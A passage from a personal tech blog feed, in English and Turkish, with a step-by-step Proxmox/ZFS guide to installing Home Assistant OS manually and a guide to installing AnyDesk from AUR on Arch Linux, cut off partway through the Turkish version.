Assistant site wondering "what was the latest version?" This set of commands goes to GitHub and says "Give me the latest stable version, brother" and downloads it.</p> <div class="highlight"><pre><span></span><code><span class="c1"># Automatically find and download the version</span> <span class="nv">ha_version</span><span class="o">=</span><span class="k">$(</span>curl<span class="w"> </span>-s<span class="w"> </span>https://raw.githubusercontent.com/home-assistant/version/master/stable.json<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span><span class="s2">"ova"</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>cut<span class="w"> </span>-d<span class="w"> </span><span class="s1">'"'</span><span class="w"> </span>-f<span class="w"> </span><span class="m">4</span><span class="k">)</span> wget<span class="w"> </span>-q<span class="w"> </span>--show-progress<span class="w"> </span>https://github.com/home-assistant/operating-system/releases/download/<span class="si">${</span><span class="nv">ha_version</span><span class="si">}</span>/haos_ova-<span class="si">${</span><span class="nv">ha_version</span><span class="si">}</span>.qcow2.xz </code></pre></div> <p>Did it download? Great. Now let's extract the package.</p> <div class="highlight"><pre><span></span><code>unxz<span class="w"> </span>haos_ova-<span class="si">${</span><span class="nv">ha_version</span><span class="si">}</span>.qcow2.xz </code></pre></div> <p>By the way, don't bother copying the filename, it completes it when you press the <code>tab</code> key anyway. (Everyone knows this, but it just came to mind).</p> <h2 id="2-creating-the-vm-but-not-just-plain">2. Creating the VM (But not just plain)<a class="headerlink" href="#2-creating-the-vm-but-not-just-plain" title="Permanent link">#</a></h2> <p>Look, this part is very important. We used to use <code>i440fx</code>, and it worked. But times have changed. If you're going to plug a Zigbee USB into this Home Assistant or do GPU passthrough tomorrow, the <strong>Q35</strong> chipset is a must. Scripts make this default, so why shouldn't we?</p> <p>I chose <code>206</code> as the VM ID; 106 or 300 would work too, it's up to you.</p> <div class="highlight"><pre><span></span><code>qm<span class="w"> </span>create<span class="w"> </span><span class="m">206</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--name<span class="w"> </span>hass01<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--pool<span class="w"> </span>PROD<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--tags<span class="w"> </span>prod<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--ostype<span class="w"> </span>l26<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--machine<span class="w"> </span>q35<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--agent<span class="w"> </span><span class="m">1</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--bios<span class="w"> </span>ovmf<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--cpu<span class="w"> </span>host,flags<span class="o">=</span>+aes<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--cores<span class="w"> </span><span class="m">4</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--memory<span class="w"> </span><span class="m">4096</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--numa<span class="w"> </span><span class="m">0</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--scsihw<span class="w"> </span>virtio-scsi-pci<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--net0<span class="w"> </span><span class="nv">virtio</span><span class="o">=</span>AA:BB:CC:DD:E2:06,bridge<span class="o">=</span>vmbr00,firewall<span class="o">=</span><span class="m">1</span>,tag<span class="o">=</span><span class="m">50</span> </code></pre></div> <div class="admonition warning"> <p class="admonition-title">Be Careful When Copy-Pasting! 💣</p> </div> <p>The command above has settings specific to my own server; it will fail if you paste it directly: * <code>--pool PROD</code>: If you don't have a pool named "PROD," delete this line. * <code>--net0 ...</code>: I use <code>vmbr00</code> and <code>tag=50</code> (VLAN). You probably have <code>vmbr0</code> and no VLAN. Adjust it for yourself!</p> <div class="admonition note"> <p class="admonition-title">Q35 Detail</p> </div> <p>The <code>--machine q35</code> parameter is critical for modern PCIe hardware. We also set the CPU to <code>host</code> mode so it doesn't waste time in the virtualization layer and uses all the features of the host machine.</p> <h2 id="3-throwing-the-disk-into-the-zfs-pool">3. Throwing the Disk into the ZFS Pool<a class="headerlink" href="#3-throwing-the-disk-into-the-zfs-pool" title="Permanent link">#</a></h2> <p>You know the name of your storage area, right? I use <code>pve_vdisks</code>, but in 90% of cases, it says <code>local-zfs</code> for you.</p> <div class="highlight"><pre><span></span><code>pvesm<span class="w"> </span>status </code></pre></div> <p>Let's throw the image we downloaded into the pool:</p> <div class="highlight"><pre><span></span><code>qm<span class="w"> </span>importdisk<span class="w"> </span><span class="m">206</span><span class="w"> </span>haos_ova-<span class="si">${</span><span class="nv">ha_version</span><span class="si">}</span>.qcow2<span class="w"> </span>pve_vdisks </code></pre></div> <p>This process might take a while depending on the disk speed. In the meantime, go drink some water, get up from the chair. A herniated disk is no joke.</p> <h2 id="4-where-it-all-happens-disk-settings">4. Where It All Happens: Disk Settings<a class="headerlink" href="#4-where-it-all-happens-disk-settings" title="Permanent link">#</a></h2> <p>This is where the "magic" of the tteck script lies. If you mount the disk plainly, will it work? Yes. But Home Assistant will think it's an old-style spinning hard drive. We'll tell it, "Hey, you're on an SSD, relax" (<code>ssd=1</code>).</p> <p>Also, we need to specially configure the EFI disk for Proxmox 9 and Secure Boot compatibility.</p> <div class="highlight"><pre><span></span><code><span class="c1"># First, a tiny EFI disk</span> pvesm<span class="w"> </span>alloc<span class="w"> </span>pve_vdisks<span class="w"> </span><span class="m">206</span><span class="w"> </span>vm-206-disk-0<span class="w"> </span>4M <span class="c1"># Now we explode the real bomb</span> qm<span class="w"> </span><span class="nb">set</span><span class="w"> </span><span class="m">206</span><span class="w"> </span> <span class="w"> </span>--efidisk0<span class="w"> </span>pve_vdisks:vm-206-disk-0,efitype<span class="o">=</span>4m<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--scsi0<span class="w"> </span>pve_vdisks:vm-206-disk-1,ssd<span class="o">=</span><span class="m">1</span>,discard<span class="o">=</span>on,iothread<span class="o">=</span><span class="m">1</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--boot<span class="w"> </span><span class="nv">order</span><span class="o">=</span>scsi0 </code></pre></div> <p>The <code>discard=on</code> command here is vital for ZFS. Without TRIM support, that disk will bloat and bloat, and then you'll deal with "Disk full" warnings. I know this from experience.<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup></p> <p>Also, let's enlarge the disk a bit; 32GB is standard, if you think it won't be enough, make it 64.</p> <div class="highlight"><pre><span></span><code>qm<span class="w"> </span>resize<span class="w"> </span><span class="m">206</span><span class="w"> </span>scsi0<span class="w"> </span>32G </code></pre></div> <h2 id="5-verification-paranoia-is-good">5. Verification (Paranoia is Good)<a class="headerlink" href="#5-verification-paranoia-is-good" title="Permanent link">#</a></h2> <p>We've done everything, but let's see if the disks are actually there.</p> <div class="highlight"><pre><span></span><code>pvesm<span class="w"> </span>list<span class="w"> </span>pve_vdisks<span class="w"> </span>--vmid<span class="w"> </span><span class="m">206</span> </code></pre></div> <p>The output should look something like this (One 4MB, the other 32GB):</p> <div class="highlight"><pre><span></span><code>Volid Format Type Size VMID pve_vdisks:vm-206-disk-0 raw images 4194304 206 pve_vdisks:vm-206-disk-1 raw images 34359738368 206 </code></pre></div> <p>If you also want to see the ZFS datasets:</p> <div class="highlight"><pre><span></span><code>zfs<span class="w"> </span>list<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span><span class="m">206</span> </code></pre></div> <h2 id="6-bismillah-were-starting">6. Bismillah: We're Starting<a class="headerlink" href="#6-bismillah-were-starting" title="Permanent link">#</a></h2> <p>If everything is in place, we can start the engine.</p> <div class="highlight"><pre><span></span><code>qm<span class="w"> </span>start<span class="w"> </span><span class="m">206</span> </code></pre></div> <p>After the VM starts, find its IP address (from the router or console), and type <code>http://IP_ADDRESS:8123</code> into your browser. If you see that famous "Home Assistant is preparing" screen, the process is complete.</p> <p>I mean, using scripts isn't bad, but installing it manually doesn't exactly make you feel like "Mr. Robot." Plus, now you've tightened every screw in the system yourself; if a problem arises, you know where to look. Enjoy using it! 👋</p> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>A VM where I once forgot to turn on discard occupied 500GB on ZFS, even though it didn't have 100GB of data. Cleaning it up was a total torture.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2025-11-30T14:15:00+03:002025-11-30T14:15:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-30:/proxmox-zfs-home-assistant/

<p>Hazır scriptlerin arkasına sığınmadan, Proxmox üzerinde ZFS ve SSD optimizasyonlarıyla (q35, ssd=1) manuel Home Assistant kurulum rehberi.</p>

<p>Bazen kendime soruyorum, "Neden kolay&inodot; varken zoru se&ccedil;iyorsun?" diye. &Idot;nternet "tek sat&inodot;r kodla Home Assistant kur" scriptleriyle dolu. Tteck'in scriptleri mesela, efsanedir, laf yok. Ama i&scedil;te o i&ccedil;imdeki kontrol manya&gbreve;&inodot; rahat durmuyor. "Ya bu script benim diskimi yanl&inodot;&scedil; yere ba&gbreve;larsa?", "Arka planda ne &ccedil;eviriyor bu?" diye d&uuml;&scedil;&uuml;nmekten uyuyam&inodot;yorum.</p> <p>Ge&ccedil;en g&uuml;n sunucuyu g&uuml;ncellerken (biraz da kahveyi klavyeye d&ouml;kme korkusuyla) dedim ki; gel &scedil;unun en optimize, en temiz kurulumunu script kullanmadan, ama scriptlerin kulland&inodot;&gbreve;&inodot; o ince performans ayarlar&inodot;n&inodot; (Q35, SSD flagleri falan) &ccedil;alarak elle yapay&inodot;m.</p> <p>E&gbreve;er siz de benim gibi "Kaputun alt&inodot;nda ne var bilmem laz&inodot;m" diyenlerdenseniz, do&gbreve;ru yerdesiniz. Proxmox 9 ve ZFS ikilisini, Home Assistant ile dans ettirece&gbreve;iz.</p> <h2 id="1-imaj-yakalamak-en-gunceli-hangisiydi">1. &Idot;maj&inodot; Yakalamak (En G&uuml;nceli Hangisiydi?)<a class="headerlink" href="#1-imaj-yakalamak-en-gunceli-hangisiydi" title="Permanent link">#</a></h2> <p>&Ouml;nce Proxmox sunucusuna bir SSH atal&inodot;m. Web konsolundan da yazars&inodot;n&inodot;z ama kopyala-yap&inodot;&scedil;t&inodot;r yaparken o konsol penceresi bazen sa&ccedil;mal&inodot;yor, harfler kay&inodot;yor falan... Hi&ccedil; gerek yok.</p> <div class="highlight"><pre><span></span><code>ssh<span class="w"> </span>root@vhost01 </code></pre></div> <p>&Scedil;imdi, gidip Home Assistant sitesinde "son s&uuml;r&uuml;m ka&ccedil;t&inodot; ya?" diye dolanmaya gerek yok. &Scedil;u komut seti, GitHub'a gidip "Bana en son stabil s&uuml;r&uuml;m&uuml; ver karde&scedil;im" diyor ve indiriyor.</p> <div class="highlight"><pre><span></span><code><span class="c1"># Otomatik s&uuml;r&uuml;m&uuml; bul ve indir</span> <span class="nv">ha_version</span><span class="o">=</span><span class="k">$(</span>curl<span class="w"> </span>-s<span class="w"> </span>https://raw.githubusercontent.com/home-assistant/version/master/stable.json<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span><span class="s2">"ova"</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>cut<span class="w"> </span>-d<span class="w"> </span><span class="s1">'"'</span><span class="w"> </span>-f<span class="w"> </span><span class="m">4</span><span class="k">)</span> wget<span class="w"> </span>-q<span class="w"> </span>--show-progress<span class="w"> </span>https://github.com/home-assistant/operating-system/releases/download/<span class="si">${</span><span class="nv">ha_version</span><span class="si">}</span>/haos_ova-<span class="si">${</span><span class="nv">ha_version</span><span class="si">}</span>.qcow2.xz </code></pre></div> <p>&Idot;ndi mi? G&uuml;zel. &Scedil;imdi paketi a&ccedil;al&inodot;m.</p> <div class="highlight"><pre><span></span><code>unxz<span class="w"> </span>haos_ova-<span class="si">${</span><span class="nv">ha_version</span><span class="si">}</span>.qcow2.xz </code></pre></div> <p>Bu arada dosya ismini kopyalamakla u&gbreve;ra&scedil;may&inodot;n, <code>tab</code> tu&scedil;una bas&inodot;nca tamaml&inodot;yor zaten. (Bunu bilmeyen yoktur ama akl&inodot;ma geldi i&scedil;te).</p> <h2 id="2-vmi-yaratmak-ama-oyle-dumduz-degil">2. VM'i Yaratmak (Ama &Ouml;yle D&uuml;md&uuml;z De&gbreve;il)<a class="headerlink" href="#2-vmi-yaratmak-ama-oyle-dumduz-degil" title="Permanent link">#</a></h2> <p>Bak&inodot;n buras&inodot; &ccedil;ok &ouml;nemli. Eskiden <code>i440fx</code> kullan&inodot;rd&inodot;k, i&scedil;imizi g&ouml;r&uuml;rd&uuml;. Ama devir de&gbreve;i&scedil;ti. E&gbreve;er yar&inodot;n &ouml;b&uuml;r g&uuml;n bu Home Assistant'a bir Zigbee USB takacaksan&inodot;z veya ekran kart&inodot; passthrough yapacaksan&inodot;z, <strong>Q35</strong> &ccedil;ipseti &scedil;art. Scriptler bunu varsay&inodot;lan yap&inodot;yor, biz niye yapmayal&inodot;m?</p> <p>Ben VM ID olarak <code>206</code> se&ccedil;tim, 106 da olur 300 de, keyfinize kalm&inodot;&scedil;.</p> <div class="highlight"><pre><span></span><code>qm<span class="w"> </span>create<span class="w"> </span><span class="m">206</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--name<span class="w"> </span>hass01<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--pool<span class="w"> </span>PROD<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--tags<span class="w"> </span>prod<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--ostype<span class="w"> </span>l26<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--machine<span class="w"> </span>q35<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--agent<span class="w"> </span><span class="m">1</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--bios<span class="w"> </span>ovmf<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--cpu<span class="w"> </span>host,flags<span class="o">=</span>+aes<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--cores<span class="w"> </span><span class="m">4</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--memory<span class="w"> </span><span class="m">4096</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--numa<span class="w"> </span><span class="m">0</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--scsihw<span class="w"> </span>virtio-scsi-pci<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--net0<span class="w"> </span><span class="nv">virtio</span><span class="o">=</span>AA:BB:CC:DD:E2:06,bridge<span class="o">=</span>vmbr00,firewall<span class="o">=</span><span class="m">1</span>,tag<span class="o">=</span><span class="m">50</span> </code></pre></div> <div class="admonition warning"> <p class="admonition-title">Kopyala-Yap&inodot;&scedil;t&inodot;r Yaparken Dikkat! 💣</p> </div> <p>Yukar&inodot;daki komutta benim kendi sunucuma &ouml;zel ayarlar var, direkt yap&inodot;&scedil;t&inodot;r&inodot;rsan patlar: * <code>--pool PROD</code>: Sende "PROD" diye bir havuz yoksa bu sat&inodot;r&inodot; sil. * <code>--net0 ...</code>: Ben <code>vmbr00</code> ve <code>tag=50</code> (VLAN) kullan&inodot;yorum. Sende muhtemelen <code>vmbr0</code> vard&inodot;r ve VLAN yoktur. Kendine g&ouml;re d&uuml;zelt!</p> <div class="admonition note"> <p class="admonition-title">Q35 Detay&inodot;</p> </div> <p><code>--machine q35</code> parametresi modern PCIe donan&inodot;mlar&inodot; i&ccedil;in kritik. Bir de i&scedil;lemciyi <code>host</code> moduna ald&inodot;k ki, sanalla&scedil;t&inodot;rma katman&inodot;nda vakit kaybetmesin, ana makinenin t&uuml;m &ouml;zelliklerini kullans&inodot;n.</p> <h2 id="3-diski-zfs-havuzuna-frlatmak">3. Diski ZFS Havuzuna F&inodot;rlatmak<a class="headerlink" href="#3-diski-zfs-havuzuna-frlatmak" title="Permanent link">#</a></h2> <p>Depolama alan&inodot;n&inodot;z&inodot;n ad&inodot;n&inodot; biliyorsunuz de&gbreve;il mi? Ben <code>pve_vdisks</code> kullan&inodot;yorum ama sizde %90 ihtimalle <code>local-zfs</code> yazar.</p> <div class="highlight"><pre><span></span><code>pvesm<span class="w"> </span>status </code></pre></div> <p>Hadi &scedil;u indirdi&gbreve;imiz imaj&inodot; havuza atal&inodot;m:</p> <div class="highlight"><pre><span></span><code>qm<span class="w"> </span>importdisk<span class="w"> </span><span class="m">206</span><span class="w"> </span>haos_ova-<span class="si">${</span><span class="nv">ha_version</span><span class="si">}</span>.qcow2<span class="w"> </span>pve_vdisks </code></pre></div> <p>Bu i&scedil;lem diskin h&inodot;z&inodot;na g&ouml;re biraz s&uuml;rebilir. O arada gidip bir su i&ccedil;in, sandalyeden kalk&inodot;n. Bel f&inodot;t&inodot;&gbreve;&inodot; &scedil;akaya gelmez.</p> <h2 id="4-olayn-koptugu-yer-disk-ayarlar">4. Olay&inodot;n Koptu&gbreve;u Yer: Disk Ayarlar&inodot;<a class="headerlink" href="#4-olayn-koptugu-yer-disk-ayarlar" title="Permanent link">#</a></h2> <p>&Idot;&scedil;te tteck scriptinin "sihri" burada. E&gbreve;er diski d&uuml;md&uuml;z ba&gbreve;larsan&inodot;z &ccedil;al&inodot;&scedil;&inodot;r m&inodot;? &Ccedil;al&inodot;&scedil;&inodot;r. Ama Home Assistant onu eski tip d&ouml;nen bir hard disk sanar. Biz ona "Hey, sen bir SSD &uuml;zerindesin, rahat ol" diyece&gbreve;iz (<code>ssd=1</code>).</p> <p>Ayr&inodot;ca Proxmox 9 ve Secure Boot uyumu i&ccedil;in EFI diskini de &ouml;zel ayarlamam&inodot;z laz&inodot;m.</p> <div class="highlight"><pre><span></span><code><span class="c1"># &Ouml;nce minik bir EFI diski</span> pvesm<span class="w"> </span>alloc<span class="w"> </span>pve_vdisks<span class="w"> </span><span class="m">206</span><span class="w"> </span>vm-206-disk-0<span class="w"> </span>4M <span class="c1"># &Scedil;imdi as&inodot;l bombay&inodot; patlat&inodot;yoruz</span> qm<span class="w"> </span><span class="nb">set</span><span class="w"> </span><span class="m">206</span><span class="w"> </span> <span class="w"> </span>--efidisk0<span class="w"> </span>pve_vdisks:vm-206-disk-0,efitype<span class="o">=</span>4m<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--scsi0<span class="w"> </span>pve_vdisks:vm-206-disk-1,ssd<span class="o">=</span><span class="m">1</span>,discard<span class="o">=</span>on,iothread<span class="o">=</span><span class="m">1</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--boot<span class="w"> </span><span class="nv">order</span><span class="o">=</span>scsi0 </code></pre></div> <p>Buradaki <code>discard=on</code> komutu, ZFS i&ccedil;in hayati &ouml;nem ta&scedil;&inodot;yor. TRIM deste&gbreve;i olmazsa o disk &scedil;i&scedil;er de &scedil;i&scedil;er, sonra "Disk doldu" uyar&inodot;s&inodot;yla u&gbreve;ra&scedil;&inodot;rs&inodot;n&inodot;z. Tecr&uuml;beyle sabit.<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup></p> <p>Bir de diski biraz b&uuml;y&uuml;telim, 32GB standartt&inodot;r, yetmez derseniz 64 yap&inodot;n.</p> <div class="highlight"><pre><span></span><code>qm<span class="w"> </span>resize<span class="w"> </span><span class="m">206</span><span class="w"> </span>scsi0<span class="w"> </span>32G </code></pre></div> <h2 id="5-dogrulama-paranoyaklk-iyidir">5. Do&gbreve;rulama (Paranoyakl&inodot;k &Idot;yidir)<a class="headerlink" href="#5-dogrulama-paranoyaklk-iyidir" title="Permanent link">#</a></h2> <p>Her &scedil;eyi yapt&inodot;k ama bakal&inodot;m diskler ger&ccedil;ekten orada m&inodot;?</p> <div class="highlight"><pre><span></span><code>pvesm<span class="w"> </span>list<span class="w"> </span>pve_vdisks<span class="w"> </span>--vmid<span class="w"> </span><span class="m">206</span> </code></pre></div> <p>&Ccedil;&inodot;kt&inodot; a&scedil;a&gbreve;&inodot; yukar&inodot; &scedil;&ouml;yle olmal&inodot; (Biri 4MB, di&gbreve;eri 32GB):</p> <div class="highlight"><pre><span></span><code>Volid Format Type Size VMID pve_vdisks:vm-206-disk-0 raw images 4194304 206 pve_vdisks:vm-206-disk-1 raw images 34359738368 206 </code></pre></div> <p>E&gbreve;er ZFS datasetlerini de g&ouml;rmek istersen:</p> <div class="highlight"><pre><span></span><code>zfs<span class="w"> </span>list<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span><span class="m">206</span> </code></pre></div> <h2 id="6-hadi-bismillah-baslatyoruz">6. Hadi Bismillah: Ba&scedil;lat&inodot;yoruz<a class="headerlink" href="#6-hadi-bismillah-baslatyoruz" title="Permanent link">#</a></h2> <p>Her &scedil;ey yerli yerindeyse mar&scedil;a basabiliriz.</p> <div class="highlight"><pre><span></span><code>qm<span class="w"> </span>start<span class="w"> </span><span class="m">206</span> </code></pre></div> <p>VM a&ccedil;&inodot;ld&inodot;ktan sonra IP adresini bulun (modemden veya konsoldan), taray&inodot;c&inodot;ya <code>http://IP_ADRESI:8123</code> yaz&inodot;n. O me&scedil;hur "Home Assistant haz&inodot;rlan&inodot;yor" ekran&inodot;n&inodot; g&ouml;rd&uuml;yseniz i&scedil;lem tamamd&inodot;r.</p> <p>Yani, script kullanmak k&ouml;t&uuml; de&gbreve;il ama elle kurunca insan kendini bir "Mr. Robot" hissetmiyor da de&gbreve;il hani. Hem art&inodot;k sistemin her vidas&inodot;n&inodot; siz s&inodot;kt&inodot;n&inodot;z, bir sorun &ccedil;&inodot;karsa neresine bakaca&gbreve;&inodot;n&inodot;z&inodot; biliyorsunuz. G&uuml;le g&uuml;le kullan&inodot;n! 👋</p> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Bir keresinde discard a&ccedil;may&inodot; unuttu&gbreve;um bir VM, 100GB verisi olmamas&inodot;na ra&gbreve;men ZFS &uuml;zerinde 500GB yer kaplam&inodot;&scedil;t&inodot;. Temizlemesi tam bir i&scedil;kenceydi.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2025-11-30T11:45:00+03:002025-11-30T11:45:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-30:/en/arch-linux-anydesk-kurulumu-rehberi/

<p>The heart wants RustDesk, but companies and relatives say AnyDesk. How do we bow to social pressure and install AnyDesk on Arch Linux as smoothly as possible?</p>

<p>I know, you're going to ask in the comments (or to yourself): <em>"Hey, why closed-source AnyDesk when there's <strong>RustDesk</strong>, which is beautifully open-source and self-hostable?"</em></p> <p>The answer is simple and painful: <strong>Peer Pressure.</strong></p> <p>The IT department at work, the distant cousin, the accountant... It's as if they've all received a revelation to use AnyDesk. When TeamViewer frustrated us all by saying "Commercial use detected, I'm kicking you out," everyone migrated to AnyDesk collectively instead of switching to RustDesk. No matter how much you say, "Look, this is free software," institutions and end-users don't change their habits.</p> <p>So, as someone who uses Arch Linux, I find myself forced to install AnyDesk in scenarios where I can't say "We use RustDesk" (which is 99% of the time).</p> <p>So, how do we install this "necessity" tool in the cleanest, most up-to-date, and trouble-free way on Arch Linux, now that the Flatpak version is dead (EOL)? Let's install this mandatory tool.</p> <h2 id="step-1-the-power-of-aur-and-yay-yet-another-yogurt">Step 1: The Power of AUR and YAY (Yet Another Yogurt)<a class="headerlink" href="#step-1-the-power-of-aur-and-yay-yet-another-yogurt" title="Permanent link">#</a></h2> <p>AnyDesk is not in the official repositories. The Flatpak version is also unmaintained. We have one and the most powerful fortress left: <strong>AUR (Arch User Repository).</strong></p> <p>To use AUR, we need a helper like <code>yay</code>. If you already have it on your system, skip this step. If not, open the terminal and install it with these commands:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>pacman<span class="w"> </span>-S<span class="w"> </span>--needed<span class="w"> </span>git<span class="w"> </span>base-devel <span class="c1"># Run without root:</span> git<span class="w"> </span>clone<span class="w"> </span>https://aur.archlinux.org/yay.git <span class="nb">cd</span><span class="w"> </span>yay makepkg<span class="w"> </span>-si </code></pre></div> <h2 id="step-2-download-and-install-anydesk">Step 2: Download and Install AnyDesk<a class="headerlink" href="#step-2-download-and-install-anydesk" title="Permanent link">#</a></h2> <p>We won't bother compiling from source; we'll install the pre-compiled binary package (<code>anydesk-bin</code>) for speed.</p> <div class="highlight"><pre><span></span><code>yay<span class="w"> </span>-S<span class="w"> </span>anydesk-bin </code></pre></div> <p>If it asks questions during installation, you can just press <code>Enter</code>. Fast and clean.</p> <h2 id="step-3-the-wayland-deadlock-connection-issue">Step 3: The Wayland Deadlock (Connection Issue!)<a class="headerlink" href="#step-3-the-wayland-deadlock-connection-issue" title="Permanent link">#</a></h2> <p>Here is the technical and annoying part. Modern Linux distributions (Gnome, KDE, etc.) now use <strong>Wayland</strong> by default. However, AnyDesk still doesn't work at full efficiency with Wayland.</p> <p>Especially if you're telling the other party, "Don't touch anything, I'll connect and handle it" (Unattended Access), Wayland will give you a nightmare. The screen won't appear, the mouse won't work, permission windows will pop up...</p> <p>Therefore, if you want a trouble-free connection, you have to use <strong>X11 (Xorg)</strong>.</p> <h3 id="solution-for-gnome-users">Solution for Gnome Users:<a class="headerlink" href="#solution-for-gnome-users" title="Permanent link">#</a></h3> <p>We will edit the GDM configuration file and disable Wayland:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>nano<span class="w"> </span>/etc/gdm/custom.conf </code></pre></div> <p>Uncomment the following line under the <code>[daemon]</code> heading by removing the <code>#</code> at the beginning:</p> <div class="highlight"><pre><span></span><code><span class="k">[daemon]</span> <span class="na">WaylandEnable</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">false</span> </code></pre></div> <h3 id="for-kde-and-others">For KDE and Others:<a class="headerlink" href="#for-kde-and-others" title="Permanent link">#</a></h3> <p>When turning on the computer, make sure to select <strong>"Plasma (X11)"</strong> or the X11 version of the desktop environment you use as the session type on the password screen.</p> <h2 id="step-4-start-the-service-and-forget_1">Step 4: Start the Service and Forget<a class="headerlink" href="#step-4-start-the-service-and-forget" title="Permanent link">#</a></h2> <p>We installed AnyDesk, but if the service isn't running, you won't get an ID or you'll get a "Connecting to network" error. Let's start the service and make it run automatically at every boot:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>systemctl<span class="w"> </span><span class="nb">enable</span><span class="w"> </span>--now<span class="w"> </span>anydesk </code></pre></div> <p>The process is complete! For a clean start, perform a <code>reboot</code>.</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>reboot </code></pre></div> <h2 id="conclusion">Conclusion<a class="headerlink" href="#conclusion" title="Permanent link">#</a></h2> <p>Yes, even though our hearts are with RustDesk, the realities of life sometimes force us to install AnyDesk. Now your Arch Linux system is ready to talk "their language" with Windows machines at work or your relatives' computers.</p> <p>I hope one day everyone understands the value of free software... Until then, don't share your ID number with anyone! 😎</p>2025-11-30T11:45:00+03:002025-11-30T11:45:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-30:/arch-linux-anydesk-kurulumu-rehberi/

<p>Gönül RustDesk ister ama şirketler ve akrabalar AnyDesk der. Toplumsal baskıya boyun eğip Arch Linux'ta AnyDesk'i en sorunsuz nasıl kurarız?</p>

<p>Biliyorum, &scedil;imdi yorumlarda (ya da i&ccedil;inizden) soracaks&inodot;n&inodot;z: <em>"Yahu hocam, mis gibi a&ccedil;&inodot;k kaynak, kendi sunucunu kurabildi&gbreve;in (self-hosted) <strong>RustDesk</strong> varken neden kapal&inodot; kaynakl&inodot; AnyDesk?"</em></p> <p>Cevap &ccedil;ok basit ve ac&inodot;: <strong>Mahalle Bask&inodot;s&inodot;.</strong></p> <p>&Scedil;irketteki IT departman&inodot;, uzaktaki kuzen, muhasebeci... Sanki hepsine vahiy inmi&scedil; gibi AnyDesk kullan&inodot;yor. TeamViewer "Ticari kullan&inodot;m tespit ettim, seni at&inodot;yorum" diyerek hepimizi bezdirdi&gbreve;inde, herkes RustDesk'e ge&ccedil;mek yerine topluca AnyDesk'e g&ouml;&ccedil; etti. Sen istedi&gbreve;in kadar "Bak&inodot;n bu &ouml;zg&uuml;r yaz&inodot;l&inodot;m" de, kurumlar ve son kullan&inodot;c&inodot;lar al&inodot;&scedil;kanl&inodot;klar&inodot;n&inodot; de&gbreve;i&scedil;tirmiyor.</p> <p>Ben de Arch Linux kullanan biri olarak, "Biz RustDesk kullan&inodot;yoruz" diyemedi&gbreve;im senaryolarda (yani %99'unda) mecburen AnyDesk kurmak zorunda kal&inodot;yorum.</p> <p>Peki Arch Linux'ta, Flatpak s&uuml;r&uuml;m&uuml; &ouml;lm&uuml;&scedil;ken (EOL), bunu en temiz, en g&uuml;ncel ve en sorunsuz nas&inodot;l kurar&inodot;z? Gelin &scedil;u "mecburiyet" arac&inodot;n&inodot; kural&inodot;m.</p> <h2 id="adm-1-aurun-gucu-ve-yay-yet-another-yogurt">Ad&inodot;m 1: AUR'un G&uuml;c&uuml; ve YAY (Yet Another Yogurt)<a class="headerlink" href="#adm-1-aurun-gucu-ve-yay-yet-another-yogurt" title="Permanent link">#</a></h2> <p>AnyDesk resmi depolarda yok. Flatpak s&uuml;r&uuml;m&uuml; de bak&inodot;ms&inodot;z. Elimizde tek ve en g&uuml;&ccedil;l&uuml; kale kal&inodot;yor: <strong>AUR (Arch User Repository).</strong></p> <p>AUR'u kullanmak i&ccedil;in <code>yay</code> gibi bir yard&inodot;mc&inodot;ya ihtiyac&inodot;m&inodot;z var. E&gbreve;er sisteminizde zaten varsa bu ad&inodot;m&inodot; atlay&inodot;n. Yoksa, terminali a&ccedil;&inodot;p &scedil;u komutlarla kurun:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>pacman<span class="w"> </span>-S<span class="w"> </span>--needed<span class="w"> </span>git<span class="w"> </span>base-devel <span class="c1"># Root olmadan 